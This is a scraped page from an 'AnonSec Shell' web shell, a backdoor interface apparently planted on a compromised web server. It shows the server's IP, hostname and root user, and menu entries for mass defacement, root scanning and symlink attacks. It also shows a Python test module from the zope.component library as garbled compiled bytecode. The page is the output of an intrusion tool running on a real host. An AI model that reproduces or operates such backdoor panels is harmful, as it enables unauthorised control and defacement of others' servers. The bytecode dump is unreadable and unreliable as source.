AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/zope/component/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/zope/component/tests/__pycache__/test_persistentregistry.cpython-310.pyc
o

,�Wg�@sDdZddlZGdd�dej�ZGdd�dej�Zdd�Zd	d
�ZdS)zTests for z.c.hooks
�Nc@sfeZdZdd�Zdd�Zdd�Zdd�Zdd
d�Zdd
�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�PersistentAdapterRegistryTestscC�ddlm}|S)Nr��PersistentAdapterRegistry)�!zope.component.persistentregistryr)�selfr�r�N/usr/lib/python3/dist-packages/zope/component/tests/test_persistentregistry.py�_getTargetClass�z.PersistentAdapterRegistryTests._getTargetClasscO�|��|i|��S�N�r
�r�args�kwrrr	�_makeOne�z'PersistentAdapterRegistryTests._makeOnecCsGdd�dt�}||�S)Nc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
z9PersistentAdapterRegistryTests._makeCache.<locals>._CachecSs||_g|_dSr
)�_jar�_mru)r�jarrrr	�__init__ �
zBPersistentAdapterRegistryTests._makeCache.<locals>._Cache.__init__cSs|j�|�dSr
)r�append)r�oidrrr	�mru#sz=PersistentAdapterRegistryTests._makeCache.<locals>._Cache.mrucSs|j|_||_dSr
)r�_p_jar�_p_oid)rr�objrrr	�	new_ghost%s
zCPersistentAdapterRegistryTests._makeCache.<locals>._Cache.new_ghostcSsdSr
r)rr�sizerrr	�update_object_size_estimation(szWPersistentAdapterRegistryTests._makeCache.<locals>._Cache.update_object_size_estimationN)�__name__�
__module__�__qualname__rrrr!rrrr	�_Caches
r%)�object)rrr%rrr	�
_makeCachesz)PersistentAdapterRegistryTests._makeCachecCsFddlm}ddlm}||�Gdd�dt��}|�}|�|�|_|S)Nr)�implementer)�IPersistentDataManagerc@�$eZdZdd�Zdd�Zdd�ZdS)z5PersistentAdapterRegistryTests._makeJar.<locals>._JarcSsg|_g|_dSr
)�_loaded�_registered)rrrr	r4rz>PersistentAdapterRegistryTests._makeJar.<locals>._Jar.__init__cS�|j�|j�dSr
)r+rr�rrrrr	�setstate7rz>PersistentAdapterRegistryTests._makeJar.<locals>._Jar.setstatecSr-r
)r,rrr.rrr	�register9rz>PersistentAdapterRegistryTests._makeJar.<locals>._Jar.registerN)r"r#r$rr/r0rrrr	�_Jar2sr1)�zope.interfacer(�persistent.interfacesr)r&r'�_cache)rr(r)r1rrrr	�_makeJar-s	z'PersistentAdapterRegistryTests._makeJarFcKs8td�}|jdi|��}|��}|j�||�|||fS)Nzr)�_makeOctetsrr5r4r)r�dirtyr�OID�instrrrr	�_makeOneWithJar@s

z.PersistentAdapterRegistryTests._makeOneWithJarcCsH|��\}}}|�|jd�|�t��|�|jd�|�|jd�dS�N�T�)r:�assertEqual�_generation�changedr&�
_p_changed�r�registryrr8rrr	�test_changed_original_is_not_usHs
z>PersistentAdapterRegistryTests.test_changed_original_is_not_uscCsF|��\}}}|�|jd�|�|�|�|jd�|�|jd�dSr;)r:r>r?r@rArBrrr	�test_changed_original_is_usRs

z:PersistentAdapterRegistryTests.test_changed_original_is_uscCs�ddlm}|j|jf}|j|d�\}}}|��}|�|d|�|�|dd�|�|di�|�|dg�|�|d	g�|�d
|v�dS)Nr��globalSiteManager��bases�	__bases__r?r<�	_provided�	_adapters�_subscribers�ro)�zope.componentrG�adapters�	utilitiesr:�__getstate__r>�assertFalse�rrGrIrCrr8�staterrr	�test___getstate___simple[sz7PersistentAdapterRegistryTests.test___getstate___simplecCs.|��\}}}dd�|_|�d|��v�dS)NcWsgd�S)N)�a�b�cr)rrrr	�<lambda>iszXPersistentAdapterRegistryTests.test___getstate___skips_delegated_names.<locals>.<lambda>�names)r:r[rSrRrBrrr	�'test___getstate___skips_delegated_namesgs
zFPersistentAdapterRegistryTests.test___getstate___skips_delegated_namescCsZ|��\}}}|��}|�d|jv�d|_|�d|jv�|�|�|�d|jv�dS)N�	_v_lookup)r:rR�
assertTrue�__dict__rArS�__setstate__)rrCrr8rUrrr	�$test___setstate___rebuilds__v_lookupls
zCPersistentAdapterRegistryTests.test___setstate___rebuilds__v_lookupcCsfddlm}|j|jf}|j|d�\}}}|��}|�|�|�|j|�|�|j	|gt
|��dS)NrrFrH)rOrGrPrQr:rRr`r>rJrN�listrTrrr	�test___setstate___rebuilds__rous
z=PersistentAdapterRegistryTests.test___setstate___rebuilds__roN)F)r"r#r$r
rr'r5r:rDrErVr\rarcrrrr	rs

		rc@r*)�PersistentComponentsTestscCr)Nr)�PersistentComponents)rre)rrerrr	r
�rz)PersistentComponentsTests._getTargetClasscOrr
rrrrr	r�rz"PersistentComponentsTests._makeOnecCs�ddlm}ddlm}ddlm}|��}|�t|j	|��|�t|j
|��|�t|j|��|�t|j|��|�t|j
|��|�t|j|��dS)Nr)�PersistentMapping)�PersistentListr)�persistent.mappingrf�persistent.listrgrrrr^�
isinstancerPrQ�_adapter_registrations�_utility_registrations�_subscription_registrations�_handler_registrations)rrfrgrrCrrr	�2test_ctor_initializes_registries_and_registrations�s,
�
�
�
�
�

�zLPersistentComponentsTests.test_ctor_initializes_registries_and_registrationsN)r"r#r$r
rrorrrr	rdsrdcCs$ddl}|jdkr
t|�St|d�S)Nr)��ascii)�sys�version_info�bytes)�srrrrr	r6�s

r6cCst�t�t�t�t�f�Sr
)�unittest�	TestSuite�	makeSuiterrdrrrr	�
test_suite�s�ry)�__doc__rv�TestCaserrdr6ryrrrr	�<module>s
l

Anon7 - 2022
AnonSec Team